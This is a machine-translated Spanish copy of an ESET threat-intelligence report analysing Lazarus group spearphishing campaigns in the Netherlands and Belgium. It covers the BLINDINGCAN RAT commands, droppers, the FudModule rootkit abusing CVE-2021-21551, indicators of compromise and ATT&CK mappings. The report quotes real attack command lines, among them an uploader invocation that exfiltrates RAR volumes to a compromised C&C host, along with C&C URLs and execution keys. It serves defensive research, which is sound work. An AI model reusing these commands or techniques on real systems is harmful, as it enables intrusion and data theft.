Campañas temáticas de Amazon de Lazarus en los Países Bajos y Bélgica PlatoBlockchain Data Intelligence. Búsqueda vertical. Ai.

Campañas de Lázaro con temática amazónica en los Países Bajos y Bélgica

Investigadores de ESET han descubierto ataques de Lazarus contra objetivos en los Países Bajos y Bélgica que utilizan correos electrónicos de phishing vinculados a ofertas de trabajo falsas.

Los investigadores de ESET descubrieron y analizaron un conjunto de herramientas maliciosas que fueron utilizadas por el infame grupo Lazarus APT en ataques durante el otoño de 2021. La campaña comenzó con correos electrónicos de spearphishing que contenían documentos maliciosos con el tema de Amazon y estaba dirigida a un empleado de una empresa aeroespacial en los Países Bajos. , y periodista político en Bélgica. El objetivo principal de los atacantes era la exfiltración de datos. Lazarus (también conocido como HIDDEN COBRA) ha estado activo desde al menos 2009. Es responsable de incidentes de alto perfil como el Truco de Sony Pictures Entertainment y decenas de millones de dólares ciberatracos en 2016, el WannaCryptor (también conocido como WannaCry) en 2017, y una larga historia de ataques disruptivos contra Infraestructura pública y crítica de Corea del Sur desde al menos 2011.

Hallazgos clave en esta entrada de blog:

  • La campaña de Lazarus se centró en un empleado de una empresa aeroespacial en los Países Bajos y un periodista político en Bélgica.
  • La herramienta más notable utilizada en esta campaña representa el primer abuso registrado de la vulnerabilidad CVE‑2021‑21551. Esta vulnerabilidad afecta a los controladores DBUtil de Dell; Dell proporcionó una actualización de seguridad en mayo de 2021.
  • Esta herramienta, en combinación con la vulnerabilidad, deshabilita el monitoreo de todas las soluciones de seguridad en las máquinas comprometidas. Utiliza técnicas contra los mecanismos del kernel de Windows que nunca antes se habían observado en malware.
  • Lazarus también usó en esta campaña su puerta trasera HTTP(S) con todas las funciones conocida como BLINDINGCAN.
  • La complejidad del ataque indica que Lazarus está formado por un gran equipo sistemáticamente organizado y bien preparado.

A ambos objetivos se les presentaron ofertas de trabajo: el empleado en los Países Bajos recibió un archivo adjunto a través de LinkedIn Messaging y la persona en Bélgica recibió un documento por correo electrónico. Los ataques comenzaron después de que se abrieron estos documentos. Los atacantes implementaron varias herramientas maliciosas en cada sistema, incluidos droppers, cargadores, puertas traseras HTTP(S) con todas las funciones, cargadores y descargadores HTTP(S). El punto en común entre los cuentagotas es que son proyectos de código abierto troyanizados que descifran la carga útil incrustada utilizando cifrados de bloque modernos con claves largas pasadas como argumentos de línea de comando. En muchos casos, los archivos maliciosos son componentes DLL que fueron descargados por EXEs legítimos, pero desde una ubicación inusual en el sistema de archivos.

La herramienta más notable entregada por los atacantes fue un módulo de modo de usuario que obtuvo la capacidad de leer y escribir en la memoria del kernel debido a la CVE-2021-21551 vulnerabilidad en un controlador Dell legítimo. Este es el primer abuso registrado de esta vulnerabilidad en la naturaleza. Luego, los atacantes usaron su acceso de escritura a la memoria del kernel para deshabilitar siete mecanismos que ofrece el sistema operativo Windows para monitorear sus acciones, como el registro, el sistema de archivos, la creación de procesos, el seguimiento de eventos, etc., básicamente cegando las soluciones de seguridad de una manera muy genérica y robusta.

En esta publicación de blog, explicamos el contexto de la campaña y brindamos un análisis técnico detallado de todos los componentes. Esta investigación fue presentada en la edición de este año Conferencia Boletín de Virus. Debido a la originalidad, el enfoque principal de la presentación está en el componente malicioso utilizado en este ataque que utiliza la técnica Bring Your Own Vulnerable Driver (BYOVD) y aprovecha la vulnerabilidad CVE-2021-21551 mencionada anteriormente. La información detallada está disponible en el libro blanco Lazarus y BYOVD: el mal para el núcleo de Windows.

Atribuimos estos ataques a Lazarus con mucha confianza, basándonos en los módulos específicos, el certificado de firma de código y el enfoque de intrusión en común con campañas anteriores de Lazarus como Operación en (ter) ceción  y Operación DreamJob. La diversidad, el número y la excentricidad en la implementación de las campañas de Lazarus definen a este grupo, así como que realiza los tres pilares de las actividades cibercriminales: ciberespionaje, cibersabotaje y búsqueda de ganancias financieras.

Acceso inicial

Los investigadores de ESET descubrieron dos nuevos ataques: uno contra el personal de un medio de comunicación en Bélgica y otro contra un empleado de una empresa aeroespacial en los Países Bajos.

En los Países Bajos, el ataque afectó a una computadora con Windows 10 conectada a la red corporativa, donde se contactó a un empleado a través de LinkedIn Messaging sobre un supuesto nuevo trabajo potencial, lo que resultó en el envío de un correo electrónico con un documento adjunto. Nos pusimos en contacto con el profesional de seguridad de la empresa afectada, quien pudo compartir el documento malicioso con nosotros. El archivo de Word Amzon_Holanda.docx enviado al destino es simplemente un documento de esquema con un logotipo de Amazon (ver Figura 1). Cuando se abre, la plantilla remota https://thetalkingcanvas[.]com/thetalking/globalcareers/us/5/careers/jobinfo.php?image=_DO.PROJ (dónde es un número de siete dígitos) se recupera. No pudimos adquirir el contenido, pero suponemos que puede haber contenido una oferta de trabajo para el programa espacial de Amazon, Proyecto Kuiper. Este es un método que Lázaro practicó en el Operación en (ter) ceción y Operación DreamJob Campañas dirigidas a las industrias aeroespacial y de defensa.

Campañas temáticas de Amazon de Lazarus en los Países Bajos y Bélgica PlatoBlockchain Data Intelligence. Búsqueda vertical. Ai.

Figura 1. Documento con el tema de Amazon enviado al destino en los Países Bajos

En cuestión de horas, se entregaron varias herramientas maliciosas al sistema, incluidos droppers, cargadores, puertas traseras HTTP(S) con todas las funciones, cargadores HTTP(S) y descargadores HTTP(S); consulte la sección Conjunto de herramientas.

Con respecto al ataque en Bélgica, el empleado de una empresa de periodismo (cuya dirección de correo electrónico estaba disponible públicamente en el sitio web de la empresa) fue contactado a través de un mensaje de correo electrónico con el señuelo AWS_EMEA_Legal_.docx adjunto. Como no obtuvimos el documento, solo conocemos su nombre, lo que sugiere que podría haber estado haciendo una oferta de trabajo en un puesto legal. Después de abrir el documento, el ataque se desencadenó, pero los productos de ESET lo detuvieron de inmediato, con solo un ejecutable malicioso involucrado. El aspecto interesante aquí es que, en ese momento, este binario estaba válidamente firmado con un certificado de firma de código.

Atribución

Atribuimos ambos ataques al grupo de Lazarus con un alto nivel de confianza. Esto se basa en los siguientes factores, que muestran relaciones con otras campañas de Lazarus:

  1. Malware (el conjunto de intrusión):
    1. La puerta trasera HTTPS (SHA‑1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2) tiene fuertes similitudes con la puerta trasera BLINDINGCAN, reportada por CISA (EE.UU.-CERT), y atribuido a HIDDEN COBRA, que es su nombre en clave para Lazarus.
    2. El cargador HTTP(S) tiene fuertes similitudes con la herramienta C: Datos de programa IBM ~ DF234.TMP mencionado en el informe de HvS Consulting, Sección 2.10 Exfiltración.
    3. La ruta y el nombre completos del archivo, %TODOS LOS PERFILES DE USUARIOS%AdobeAdobe.tmp, es idéntico al informado por Kaspersky en febrero de 2021 en un libro blanco sobre Lazarus's Operación ThreatNeedle, que se dirige a la industria de la defensa.
    4. El certificado de firma de código, que se emitió a la empresa estadounidense CONSULTORIO MÉDICO “A”, PLLC y solía firmar uno de los cuentagotas, también se informó en la campaña contra los investigadores de seguridad; véase también grupo Lazarus: campaña 2 TOY GUYS, Informe de amenazas de ESET 2021 T1, Página 11.
    5. Se aprovechó un tipo de cifrado inusual en las herramientas de esta campaña de Lazarus: HC-128. Otros cifrados menos frecuentes utilizados por Lazarus en el pasado: una variante Spritz de RC4 en el abrevadero ataca a bancos polacos y mexicanos; más tarde, Lazarus usó un RC4 modificado en Operación en (ter) ceción; se usó un cifrado de flujo A5/1 modificado en Ataque a la cadena de suministro WIZVERA VeraPort.
  2. Infraestructura:
    1. Para el servidor C&C de primer nivel, los atacantes no usan sus propios servidores, sino que piratean los existentes. Este es un comportamiento típico, aunque de poca confianza, de Lázaro.

conjunto de herramientas

Uno de los rasgos típicos de Lazarus es su entrega de la carga útil final en forma de una secuencia de dos o tres etapas. Comienza con un cuentagotas, generalmente una aplicación de código abierto troyanizada, que descifra la carga útil incrustada con un cifrado de bloque moderno como AES-128 (que no es inusual para Lazarus, por ejemplo, Códigos de libro de operación, o un XOR ofuscado, después de analizar los argumentos de la línea de comandos en busca de una clave segura. A pesar de que la carga útil incrustada no se coloca en el sistema de archivos, sino que se carga directamente en la memoria y se ejecuta, este malware se denomina cuentagotas. El malware que no tiene un búfer cifrado, pero que carga una carga desde un sistema de archivos, lo denominamos cargador.

Los droppers pueden (Tabla 1) o no (Tabla 2) ser cargados lateralmente por un proceso legítimo (Microsoft). En el primer caso aquí, la aplicación legítima está en una ubicación inusual y el componente malicioso lleva el nombre de la DLL correspondiente que se encuentra entre las importaciones de la aplicación. Por ejemplo, la DLL maliciosa colorui.dll está cargado lateralmente por una aplicación de sistema legítima Panel de control de color (colorcpl.exe), ambos ubicados en C: Datos de programa PTC. Sin embargo, la ubicación habitual de esta aplicación legítima es %WINDOWS%Sistema32.

En todos los casos, se pasa al menos un argumento de línea de comando durante el tiempo de ejecución que sirve como un parámetro externo necesario para descifrar la carga incrustada. Se utilizan varios algoritmos de descifrado; consulte la última columna en la Tabla 1 y la Tabla 2. En varios casos, cuando se usa AES-128, también hay un parámetro interno codificado junto con el nombre del proceso principal y su nombre de DLL, todos necesarios para un descifrado exitoso.

Tabla 1. Archivos DLL maliciosos transferidos por un proceso legítimo desde una ubicación inusual

Carpeta de ubicación Proceso padre legítimo DLL de carga lateral maliciosa proyecto troyano Parámetro externo Algoritmo de descifrado
C: Datos de programa PTC colorcpl.exe colorui.dll libcrypto de LibreSSL 2.6.5 BE93E050D9C0EAEB1F0E6AE13C1595B5
(Carga BLINDINGCAN)
GRATIS
C:WindowsVss WFS.exe credui.dll GOnpp v1.2.0.0 (complemento Notepad++) A39T8kcfkXymmAcq
(Carga el cargador intermedio)
AES-128
C: seguridad de Windows WFS.exe credui.dll FingerText 0.56.1 (complemento Notepad++) N/A AES-128
C:ProgramDataCaphyon wsmprovhost.exe mi.dll lecui 1.0.0 alfa 10 N/A AES-128
C:WindowsMicrosoft.NETFramework64v4.0.30319 SMSvcHost.exe cryptsp.dll lecui 1.0.0 alfa 10 N/A AES-128

Tabla 2. Otro malware involucrado en el ataque

Carpeta de ubicación Malware proyecto troyano Parámetro externo Algoritmo de descifrado
C: caché pública msdxm.ocx librería 8.44 93E41C6E20911B9B36BC
(Carga el descargador HTTP(S))
GRATIS
C: Datos del programa Adobe Adobe.tmp SQLite 3.31.1 S0RMM‑50QQE‑F65DN‑DCPYN‑5QEQA
(Carga el actualizador HTTP(S))
GRATIS
C: caché pública msdxm.ocx SSLSniffer Desaparecido HC-128

Después de un descifrado exitoso, se verifica que el búfer tenga el formato PE adecuado y se le pasa la ejecución. Este procedimiento se puede encontrar en la mayoría de los goteros y cargadores. El comienzo de la misma se puede ver en la Figura 2.

Campañas temáticas de Amazon de Lazarus en los Países Bajos y Bélgica PlatoBlockchain Data Intelligence. Búsqueda vertical. Ai.

Figura 2. El búfer descifrado es un ejecutable de 64 bits

Puerta trasera HTTP(S): BLINDINGCAN

Identificamos una puerta trasera HTTP(S) con todas las funciones, una RAT conocida como BLINDINGCAN, utilizada en el ataque.

El cuentagotas de esta carga útil se ejecutó como %TODOS LOS PERFIL DE USUARIOS%PTCcolorui.dll; ver la Tabla 1 para más detalles. La carga útil se extrae y descifra usando un XOR simple pero con una clave larga, que es una cadena creada al concatenar el nombre del proceso principal, es el nombre de archivo propio y el parámetro de la línea de comando externa, aquí COLORCPL.EXECOLORUI.DLLBE93E050D9C0EAEB1F0E6AE13C1595B5.

La carga útil, SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2, es una DLL de 64 bits con VMProtect. Se establece una conexión con una de las ubicaciones remotas. https://aquaprographix[.]com/patterns/Map/maps.php or https://turnscor[.]com/wp-includes/feedback.php. Dentro del código virtualizado pivotamos a través de los siguientes artefactos RTTI muy específicos que se encuentran en el ejecutable: .?AVCHTTP_Protocol@@, .?AVCFileRW@@. Además, existe una similitud a nivel de código, ya que los índices de los comandos comienzan con el mismo valor, 8201; ver Figura 3. Esto nos ayudó a identificar esta RATA como BLINDINGCAN (SHA-1: 5F4FBD57319BD0D2DF31131E864FDDA9590A652D), reportado por primera vez por CISA. La versión reciente de esta carga útil se observó en otra campaña con el tema de Amazon, donde BLINDINGCAN fue eliminado por un cliente Putty-0.77 troyanizado: consulte el blog de Mandiant.

Figura 3. Comparación de código de variantes simple (superior, desprotegida) y virtualizada (inferior, VMProtect-ed) de BLINDINGCAN, con un acuerdo de dos índices de comando, 8256 y 8201

Según la cantidad de códigos de comando que están disponibles para el operador, es probable que haya un controlador del lado del servidor disponible donde el operador pueda controlar y explorar los sistemas comprometidos. Las acciones realizadas dentro de este controlador probablemente dan como resultado que los ID de comando correspondientes y sus parámetros se envíen a la RAT que se ejecuta en el sistema de destino. La lista de códigos de comando se encuentra en la Tabla 3 y concuerda con el análisis realizado por JPCERT/CC, Apéndice C. No hay comprobaciones de validación de parámetros como carpetas o nombres de archivos. Eso significa que todas las comprobaciones deben implementarse en el lado del servidor, lo que sugiere que el controlador del lado del servidor es una aplicación compleja, muy probablemente con una GUI fácil de usar.

Tabla 3. Comandos de la RAT

Comando Descripción
8201 Envíe información del sistema como el nombre de la computadora, la versión de Windows y la página de códigos.
8208 Obtenga los atributos de todos los archivos en las carpetas RDP asignadas (tsclienteC etc.).
8209 Obtenga recursivamente los atributos de los archivos locales.
8210 Ejecute un comando en la consola, almacene el resultado en un archivo temporal y cárguelo.
8211 Comprima los archivos en una carpeta temporal y cárguelos.
8212 Descargue un archivo y actualice su información de tiempo.
8214 Cree un nuevo proceso en la consola y recopile la salida.
8215 Cree un nuevo proceso en el contexto de seguridad del usuario representado por el token especificado y recopile la salida.
8217 Cree recursivamente una lista de árbol de procesos.
8224 Terminar un proceso.
8225 Eliminar un archivo de forma segura.
8226 Habilite la E/S sin bloqueo a través del socket TCP (enchufe (AF_INET, SOCK_STREAM, IPPROTO_TCP) con el código de control FIONBIO).
8227 Establece el directorio actual para el proceso actual.
8231 Actualice la información de tiempo del archivo seleccionado.
8241 Envía la configuración actual al servidor C&C.
8242 Actualice la configuración.
8243 Enumere recursivamente la estructura del directorio.
8244 Obtenga el tipo y el espacio libre en disco de una unidad.
8249 Continúe con el siguiente comando.
8256 Solicite otro comando del servidor C&C.
8262 Vuelva a escribir un archivo sin cambiar su última hora de escritura.
8264 Copie un archivo a otro destino.
8265 Mover un archivo a otro destino.
8272 Eliminar un archivo.
8278 Tomar una captura de pantalla.

cargador intermedio

Ahora describimos una cadena de tres etapas en la que, lamentablemente, solo pudimos identificar los dos primeros pasos: un cuentagotas y un cargador intermedio.

La primera etapa es un gotero ubicado en C:WindowsVsscredui.dll y se ejecutó a través de una aplicación legítima, pero vulnerable al secuestro de orden de búsqueda de DLL, con el parámetro (externo) C:WindowsVssWFS.exe A39T8kcfkXymmAcq. El programa WFS.exe es una copia de la aplicación Windows Fax and Scan, pero su ubicación estándar es %WINDOWS%Sistema32.

El cuentagotas es un troyano Complemento GOnpp para Notepad++, escrito en el lenguaje de programación Go. Después del descifrado, el cuentagotas verifica si el búfer es un ejecutable válido de 64 bits y luego, si es así, lo carga en la memoria, de modo que la segunda etapa esté lista para la ejecución.

El objetivo de esta etapa intermedia es cargar una carga útil adicional en la memoria y ejecutarla. Realiza esta tarea en dos pasos. Primero lee y descifra el archivo de configuración C:WindowsSystem32wlansvc.cpl, que no es, como podría sugerir su extensión, un ejecutable (encriptado), sino un archivo de datos que contiene fragmentos de 14944 bytes con configuración. No teníamos los datos particulares del ataque actual; sin embargo, obtuvimos dicha configuración de otro ataque de Lazarus: consulte la Figura 5. Se espera que la configuración comience con una palabra doble que represente el tamaño total del búfer restante (consulte la Línea 69 en la Figura 4 a continuación y la variable u32TamañoTotal), seguida de una serie de 14944 estructuras de un byte de longitud que contienen al menos dos valores: el nombre de la DLL de carga como marcador de posición para identificar el resto de la configuración (en el desplazamiento 168 de la línea 74 en la figura 4 y el miembro resaltado en la figura 5).

Campañas temáticas de Amazon de Lazarus en los Países Bajos y Bélgica PlatoBlockchain Data Intelligence. Búsqueda vertical. Ai.

Figura 4. El primer paso para descifrar el archivo de configuración y comprobar si el nombre de la DLL de carga coincide con el esperado

El segundo paso es la acción de leer, descifrar y cargar este archivo que representa muy probablemente la tercera y última etapa. Se espera que sea un ejecutable de 64 bits y se carga en la memoria de la misma manera que el cuentagotas de la primera etapa manejó el cargador intermedio. Al comienzo de la ejecución, se crea un mutex como una concatenación de la cadena GlobalAppCompatCacheObjectGlobalAppCompatCacheObject y la suma de comprobación CRC32 de su nombre DLL (credui.dll) representado como un entero con signo. El valor debe ser igual GlobalAppCompatCacheObject-1387282152 if wlansvc.cpl existe y -1387282152 de otra manera.

Campañas temáticas de Amazon de Lazarus en los Países Bajos y Bélgica PlatoBlockchain Data Intelligence. Búsqueda vertical. Ai.

Figura 5. Una configuración del cargador intermedio. Se espera que el nombre del archivo resaltado coincida con el nombre del malware en ejecución; véase también la figura 4.

Un hecho interesante es el uso de este algoritmo de descifrado (Figura 4, Líneas 43 y 68), que no es tan frecuente en el conjunto de herramientas de Lazarus ni en el malware en general. las constantes 0xB7E15163 y 0x61C88647 (cual es -0x9E3779B9; ver Figura 6, Líneas 29 y 35) en la expansión clave sugiere que es el algoritmo RC5 o RC6. Al verificar el bucle de descifrado principal del algoritmo, se identifica que es el más complejo de los dos, RC6. Un ejemplo de una amenaza sofisticada que utiliza un cifrado poco común es BananaUsurper de Equations Group; ver El informe de Kaspersky del 2016.

Campañas temáticas de Amazon de Lazarus en los Países Bajos y Bélgica PlatoBlockchain Data Intelligence. Búsqueda vertical. Ai.

Figura 6. Expansión clave de RC6

Descargador HTTP(S)

También se entregó un descargador que usaba los protocolos HTTP(S) en el sistema del objetivo.

Fue instalado por un cuentagotas de primera etapa (SHA1: 001386CBBC258C3FCC64145C74212A024EAA6657), que es un troyano libpcre-8.44 biblioteca. Fue ejecutado por el comando

cmd.exe /c inicio /b rundll32.exe C:PublicCachemsdxm.ocx,sCtrl 93E41C6E20911B9B36BC

(el parámetro es una clave XOR para extraer la carga útil incrustada; consulte la Tabla 2). El cuentagotas también logra la persistencia al crear el OneNoteTray.LNK archivo ubicado en el % APPDATA% MicrosoftWindowsStart MenuProgramsStartup carpeta.

La segunda etapa es un módulo VMProtect-ed de 32 bits que realiza una solicitud de conexión HTTP a un servidor C&C almacenado en su configuración; ver Figura 7. Utiliza el mismo Agente de Usuario –Mozilla/5.0 (Windows NT 6.1; WOW64) Cromo/28.0.1500.95 Safari/537.36 – como BLINDINGCAN RAT, contiene el artefacto RTTI .?AVCHTTP_Protocolo@@ pero no .?AVCFileRW@@, y carece de funciones como tomar capturas de pantalla, archivar archivos o ejecutar un comando a través de la línea de comandos. Puede cargar un ejecutable en un bloque de memoria recién asignado y pasarle la ejecución del código.

Campañas temáticas de Amazon de Lazarus en los Países Bajos y Bélgica PlatoBlockchain Data Intelligence. Búsqueda vertical. Ai.

Figura 7. Una configuración del descargador HTTP(S). Los valores resaltados son el tamaño de la configuración y el número de URL. En el ataque que observamos, todas las URL eran idénticas.

Subidor HTTP(S)

Esta herramienta de Lazarus es responsable de la exfiltración de datos, utilizando los protocolos HTTP o HTTPS.

Se entrega en dos etapas también. El cuentagotas inicial es un troyano SQLite-3.31.1 biblioteca. Las muestras de Lazarus generalmente no contienen una ruta PDB, pero este cargador tiene una, W:DevelopToolHttpUploaderHttpPOSTPro_BINRUNDLL64sqlite3.pdb, que también sugiere su funcionalidad de inmediato: un cargador HTTP.

El cuentagotas espera varios parámetros de línea de comandos: uno de ellos es una contraseña necesaria para descifrar y cargar la carga útil incrustada; el resto de parámetros se pasan al payload. No detectamos los parámetros, pero afortunadamente se observó un uso salvaje de esta herramienta en una investigación forense realizada por Consultoría HvS:

C:ProgramDataIBM~DF234.TMP S0RMM-50QQE-F65DN-DCPYN-5QEQA https://www.gonnelli.it/uploads/catalogo/thumbs/thumb.asp C:ProgramDataIBMrestore0031.dat data03 10000 -p 192.168.1.240 8080

El primer parámetro, S0RMM-50QQE-F65DN-DCPYN-5QEQA, funcionó como una clave para la rutina de descifrado del cuentagotas (para ser más precisos, primero se realizó una ofuscación, donde el búfer encriptado fue XOR-ed con su copia desplazada por un byte; luego un descifrado XOR con la clave seguida). El resto de los parámetros se almacenan en una estructura y se pasan a la segunda etapa. Para la explicación de sus significados, véase la Tabla 4.

Tabla 4. Parámetros de la línea de comandos para el actualizador de HTTP(S)

Parámetro Valor Explicación
1 S0RMM-50QQE-F65DN-DCPYN-5QEQA Una clave de descifrado de 29 bytes.
2 https:// C&C para la exfiltración de datos.
3 C: Datos de programa IBMrestore0031.dat El nombre de un volumen RAR local.
4 data03 El nombre del archivo en el lado del servidor.
5 10,000 El tamaño de una división RAR (máx. 200,000 kB).
6 N/A Índice inicial de una división.
7 N/A Índice final de una división.
8 -p 192.168.1.240 8080 Un interruptor -p
9 Dirección IP de proxy
10 Puerto proxy

La segunda etapa es el propio cargador HTTP. El único parámetro para esta etapa es una estructura que contiene el servidor C&C para la exfiltración, el nombre de archivo de un archivo RAR local, el nombre raíz de un archivo RAR en el lado del servidor, el tamaño total de un archivo RAR dividido en kilobytes, una opción rango de índices divididos, y un opcional -p cambiar con la IP del proxy interno y un puerto; consulte la Tabla 4. Por ejemplo, si el archivo RAR se divide en 88 fragmentos, cada uno con un tamaño de 10,000 XNUMX kB, el cargador enviará estas divisiones y las almacenará en el lado del servidor con los nombres datos03.000000.avi, datos03.000001.avi, ..., datos03.000087.avi. Consulte la Figura 8, Línea 42, donde se formatean estas cadenas.

El User-Agent es el mismo que para BLINDINGCAN y el descargador HTTP(S),  Mozilla / 5.0 (Windows NT 6.1; WOW64) Cromo/28.0.1500.95 Safari/537.36.

Campañas temáticas de Amazon de Lazarus en los Países Bajos y Bélgica PlatoBlockchain Data Intelligence. Búsqueda vertical. Ai.

Figura 8. La exfiltración de divisiones RAR a un servidor C&C

Rootkit FudModule

Identificamos una biblioteca vinculada dinámicamente con el nombre interno FudModule.dll que intenta deshabilitar varias funciones de monitoreo de Windows. Lo hace modificando las variables del kernel y eliminando las devoluciones de llamada del kernel, lo cual es posible porque el módulo adquiere la capacidad de escribir en el kernel aprovechando las técnicas BYOVD: el módulo específico CVE-2021-21551 Vulnerabilidad en el controlador de Dell dbutil_2_3.sys.

El análisis completo de este malware está disponible como documento VB2022 Lazarus y BYOVD: el mal para el núcleo de Windows.

Otro malware

Se descubrieron droppers y cargadores adicionales en los ataques, pero no obtuvimos los parámetros necesarios para descifrar las cargas útiles incrustadas o los archivos cifrados.

Lecui troyanizado

Un proyecto Lecui de Alec Musafa sirvió a los atacantes como base de código para la troyanización de dos cargadores adicionales. Por sus nombres de archivo, estaban disfrazados de bibliotecas de Microsoft mi.dll (Infraestructura de Gestión) y cryptsp.dll (API del proveedor de servicios criptográficos), respectivamente, y esto se debió a la carga lateral prevista por parte de las aplicaciones legítimas wsmprovhost.exe y SMSvcHost.exe, respectivamente; consulte la Tabla 1.

El objetivo principal de estos cargadores es leer y descifrar ejecutables ubicados en flujos de datos alternativos (ANUNCIOS) en C:ProgramDataCaphyonmi.dll:Zona.Identificador y C:Archivos de programaWindows Media PlayerSkinsDarkMode.wmz:Zone.Identifier, respectivamente. Dado que no hemos adquirido estos archivos, no se sabe qué carga útil está oculta allí; sin embargo, la única certeza es que es un ejecutable, ya que el proceso de carga sigue al descifrado (consulte la Figura 2). El uso de ADS no es nuevo, porque Ahnlab reportó un Ataque de Lázaro contra empresas de Corea del Sur en junio de 2021 que involucren tales técnicas.

FingerText troyanizado

ESET bloqueó una aplicación adicional de código abierto troyana, FingerText 0.5.61 por erinata, situado en %WINDIR%securitycredui.dll. No se conocen los parámetros correctos de la línea de comandos. Como en algunos de los casos anteriores, se requerían tres parámetros para el descifrado AES-128 de la carga útil incrustada: el nombre del proceso principal, WFS.exe; el parámetro interno, mg89h7MsC5Da4ANi; y el parámetro externo faltante.

SSLSniffer troyanizado

El ataque contra un objetivo en Bélgica se bloqueó al principio de su cadena de implementación, por lo que solo se identificó un archivo, un cuentagotas de 32 bits ubicado en C:PublicCachemsdxm.ocx. Es un componente sslSniffer del loboSSL proyecto que ha sido troyanizado. En el momento del ataque, estaba válidamente firmado con un certificado emitido a CONSULTORIO MÉDICO “A”, PLLC (consulte la Figura 8), que ya expiró.

Campañas temáticas de Amazon de Lazarus en los Países Bajos y Bélgica PlatoBlockchain Data Intelligence. Búsqueda vertical. Ai.

Figura 9. Certificado válidamente firmado pero ya caducado

Tiene dos exportaciones maliciosas que la DLL legítima no tiene: Establecer OfficeCertInit y Establecer certificado de oficina. Ambas exportaciones requieren exactamente dos parámetros. El propósito de la primera exportación es establecer la persistencia creando OfficeSync.LNK, situado en % APPDATA% MicrosoftWindowsStart MenuProgramsStartup, apuntando a la DLL maliciosa y ejecutando su segunda exportación a través de rundll32.exe con los parámetros pasados ​​a sí mismo.

La segunda exportación, Establecer certificado de oficina, utiliza el primer parámetro como clave para descifrar la carga útil incrustada, pero no pudimos extraerlo porque no conocemos la clave.

El algoritmo de descifrado también es interesante ya que los atacantes usan HC-128 con la clave de 128 bits como primer parámetro y para su vector de inicialización de 128 bits, la cadena ffffffffffffffff. Las constantes que revelan el cifrado se muestran en la Figura 10.

Campañas temáticas de Amazon de Lazarus en los Países Bajos y Bélgica PlatoBlockchain Data Intelligence. Búsqueda vertical. Ai.

Figura 10. La configuración clave con constantes resaltadas que sugiere el cifrado HC-128

Conclusión

En este ataque, así como en muchos otros atribuidos a Lazarus, vimos que muchas herramientas se distribuyeron incluso en un único punto final objetivo en una red de interés. Sin duda, el equipo detrás del ataque es bastante grande, organizado sistemáticamente y bien preparado. Por primera vez en la naturaleza, los atacantes pudieron aprovechar CVE-2021-21551 para desactivar el monitoreo de todas las soluciones de seguridad. No solo se hizo en el espacio del kernel, sino también de una manera robusta, utilizando una serie de elementos internos de Windows poco o sin documentar. Sin duda, esto requirió habilidades profundas de investigación, desarrollo y prueba.

Desde el punto de vista de los defensores, parece más fácil limitar las posibilidades de acceso inicial que bloquear el sólido conjunto de herramientas que se instalaría después de que determinados atacantes se afianzaran en el sistema. Como en muchos casos en el pasado, un empleado que cae presa de la tentación de los atacantes fue el punto inicial de falla aquí. En redes sensibles, las empresas deben insistir en que los empleados no persigan sus agendas personales, como la búsqueda de empleo, en dispositivos que pertenecen a la infraestructura de su empresa.

Para cualquier consulta sobre nuestra investigación publicada en WeLiveSecurity, contáctenos en amenazaintel@eset.com.

ESET Research ahora también ofrece fuentes de datos e informes de inteligencia APT privados. Para cualquier consulta sobre este servicio, visite el Inteligencia de amenazas de ESET .

IoC

Puede encontrar una lista completa de indicadores de compromiso y muestras en nuestro GitHub repositorio.

SHA-1 Nombre del archivo Detección Descripción
296D882CB926070F6E43C99B9E1683497B6F17C4 FudModule.dll Win64/Rootkit.NukeSped.A Un módulo de modo de usuario que opera con la memoria del kernel.
001386CBBC258C3FCC64145C74212A024EAA6657 C:PublicCachemsdxm.ocx Win32/NukeSped.KQ Un cuentagotas del descargador HTTP(S).
569234EDFB631B4F99656529EC21067A4C933969 colorui.dll Win64/NukeSped.JK Un gotero de BLINDINGCAN cargado lateralmente por un colorcpl.exe legítimo.
735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2 N/A Win64/NukeSped.JK Una variante de 64 bits de BLINDINGCAN RAT.
4AA48160B0DB2F10C7920349E3DCCE01CCE23FE3 N/A Win32/NukeSped.KQ Un descargador HTTP(S).
C71C19DBB5F40DBB9A721DC05D4F9860590A5762 Adobe.tmp Win64/NukeSped.JD Un cuentagotas del cargador HTTP(S).
97DAAB7B422210AB256824D9759C0DBA319CA468 credui.dll Win64/NukeSped.JH Un cuentagotas de un cargador intermedio.
FD6D0080D27929C803A91F268B719F725396FE79 N/A Win64/NukeSped.LP Un cargador HTTP(S).
83CF7D8EF1A241001C599B9BCC8940E089B613FB N/A Win64/NukeSped.JH Un cargador intermedio que carga una carga útil adicional desde el sistema de archivos.
C948AE14761095E4D76B55D9DE86412258BE7AFD DBUtil_2_3.sys Win64/DBUtil.A Un controlador vulnerable legítimo de Dell, descartado por FudModule.dll.
085F3A694A1EECDE76A69335CD1EA7F345D61456 cryptsp.dll Win64/NukeSped.JF Un cuentagotas en forma de biblioteca lecui troyanizada.
55CAB89CB8DABCAA944D0BCA5CBBBEB86A11EA12 mi.dll Win64/NukeSped.JF Un cuentagotas en forma de biblioteca lecui troyanizada.
806668ECC4BFB271E645ACB42F22F750BFF8EE96 credui.dll Win64/NukeSped.JC Un complemento FingerText troyanizado para Notepad ++.
BD5DCB90C5B5FA7F5350EA2B9ACE56E62385CA65 msdxm.ocx Win32/NukeSped.KT Una versión troyanizada de sslSniffer de LibreSSL.

Nuestra red

IP Provider Visto por primera vez Detalles
67.225.140[.]4 Web líquida, LLC 2021-10-12 Un sitio legítimo comprometido basado en WordPress que aloja el servidor C&C
https://turnscor[.]com/wp-includes/feedback.php
50.192.28[.]29 Comunicaciones por cable de Comcast, LLC 2021-10-12 Un sitio legítimo comprometido que aloja el servidor C&C https://aquaprographix[.]com/patterns/Map/maps.php
31.11.32[.]79 Aruba SpA 2021-10-15 Un sitio legítimo comprometido que aloja el servidor C&C http://www.stracarrara[.]org/images/img.asp

Técnicas MITRE ATT & CK

Esta tabla fue construida usando Versión 11 del marco MITRE ATT & CK.

Táctica ID Nombre Descripción
Ejecución T1106 API nativa El backdoor HTTP(S) de Lazarus utiliza la API de Windows para crear nuevos procesos.
T1059.003 Intérprete de comandos y secuencias de comandos: Shell de comandos de Windows El malware de puerta trasera HTTP(S) usa cmd.exe para ejecutar herramientas de línea de comandos
Evasión de defensa T1140 Desofuscar / decodificar archivos o información Muchas de las herramientas de Lazarus se almacenan en un estado cifrado en el sistema de archivos.
T1070.006 Eliminación del indicador en el host: Timestomp El backdoor HTTP(S) de Lazarus puede modificar los atributos de tiempo de archivo de un archivo seleccionado.
